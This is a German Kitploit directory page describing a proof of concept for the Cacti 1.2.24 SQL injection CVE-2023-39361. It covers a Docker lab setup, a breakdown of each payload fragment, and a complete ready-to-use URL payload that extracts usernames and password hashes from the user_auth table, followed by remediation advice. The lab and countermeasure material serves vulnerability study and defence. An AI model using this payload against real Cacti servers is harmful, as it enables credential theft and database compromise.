Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-39361 — Proof-of-Concept-Exploit für Cacti 1.2.24 SQL-Injection in graph_view.php, die zu Remote-Code-Ausführung führt, mit Docker-basierter Laborumgebung und detaillierten Payload-Beispielen. | Kitploit
Tools/GitHubGitHub/chodeokcheol/cve-2023-39361
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Proof-of-Concept-Exploit für Cacti 1.2.24 SQL-Injection in graph_view.php, die zu Remote-Code-Ausführung führt, mit Docker-basierter Laborumgebung und detaillierten Payload-Beispielen.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3. Generation ] - 남기찬_7342 (ChoDeokCheol)


Zusammenfassung

  • In Cacti 1.2.24 existiert eine Schwachstelle in der Funktion grow_right_pane_tree der Datei graph_view.php.
  • Wenn der Parameter action auf tree_content gesetzt wird, existiert der benutzereingabeabhängige Parameter rfilter.
  • Der Parameter rfilter wird durch die Funktion html_validate_tree_vars validiert, aber diese Prüfung überprüft lediglich, ob es sich um einen gültigen regulären Ausdruck handelt.
  • Schließlich wird der Wert von rfilter in eine SQL-Abfrage eingefügt, was eine Code-Einschleusung ermöglicht.
  • Es können Werte wie id, username extrahiert werden (verwendet in diesem PoC).

Voraussetzungen

  • Überprüfen Sie mit docker-compose -v, ob Docker Compose installiert ist und welche Version.
  • Bereiten Sie die für die CVE-2023-39361-Konfiguration erforderlichen Docker-Komponenten vor (yml oder Images usw.).

Umgebung einrichten und ausführen

  • Verwenden Sie die Dateien docker-compose.yml und entrypoint.sh aus dem Verzeichnis cacti/CVE-2023-39361 von vulhub.
  • Richten Sie die PoC-Umgebung mit docker compose up -d ein. (Image: cacti:1.2.24)
  • Erstellen Sie den Cacti-Server mit der in der yml-Datei festgelegten localhost-Adresse 8080:80. Docker-PoC-Umgebung aufsetzen Cacti-Server einrichten

Schwachstellen-PoC

  • Diese Schwachstelle tritt auf, wenn die Authentifizierungseinstellungen so konfiguriert sind, dass auch normale Benutzer (Gast) die Graphen anzeigen können.

  • Die Schwachstelle kann mit den folgenden Parametereingaben nachgewiesen werden:

    • %20OR%20""="((" : Typischer SQL-Injektionscode. Erzwingt eine wahre Bedingung durch OR.
    • %20UNION%20SELECT% : Ruft beliebige gewünschte Ergebnisse ab.
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Fordert die Werte id#username#password an.
    • (select%20user()),(select%20version()) : Ruft den Datenbankbenutzer / die Version ab.
    • %23 : Da es sich um # handelt, wird die nachfolgende SQL-Anweisung unwirksam gemacht.

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


Ergebnis

Burpsuite-Ausführung und Antwort Es ist erkennbar, dass die Antwort wie angefordert erfolgte.


Zusammenfassung

SQL-Injection-Angriffe treten hauptsächlich auf, wenn während der Serverinteraktion Benutzereingaben akzeptiert werden. Durch diesen SQL-Injection-Angriff wurde die Vertraulichkeit der Datenbank beeinträchtigt, und es konnte festgestellt werden, dass Vermögenswerte offengelegt wurden.
Als Gegenmaßnahme für diese SQL-Injection könnte eine grundlegende Whitelist-Wertprüfung für rfilter durchgeführt werden oder Sonderzeichen wie (", ', ;, ...) escaped werden. Alternativ könnte eine Verbesserung durch die Verwendung einer ORM-Bibliothek wie Doctrine beim Datenbankzugriff erfolgen.

Tool herunterladen